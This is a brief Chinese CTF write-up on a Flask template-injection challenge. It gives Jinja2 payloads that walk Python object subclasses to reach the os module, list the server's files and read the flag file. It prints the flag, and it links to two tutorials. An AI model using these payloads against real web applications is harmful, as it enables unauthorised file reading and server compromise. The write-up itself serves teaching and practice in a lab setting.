0x1 考点关键词
flask模板注入
0x2 分析
从题目描述来看应该是flask模板注入,测试一下:
页面返回了2。
{{''.__class__.__mro__[2].__subclasses__()}} 查看所有object类的子类集合:
发现可以利用第40个 <type 'file'> 和第71个 <class 'site._Printer'> 。
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('./')}} 利用os模块读取(路径./下)文件:
['index.py', 'fl4g']
{{''.__class__.__mro__[2].__subclasses__()[40]('filename').read()}} 在filename文件名下填写 fl4g 即可读到flag:
ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
0x3 总结
初学flask模板注入:http://lola39.cn/2020/04/15/%e5%88%9d%e5%ad%a6python%e7%9a%84flask%e6%a8%a1%e6%9d%bf%e6%b3%a8%e5%85%a5/
flask模板注入总结:http://lola39.cn/2020/04/16/python%e7%9a%84flask%e6%a8%a1%e6%9d%bf%e6%b3%a8%e5%85%a5%e6%80%bb%e7%bb%93/
Comments | NOTHING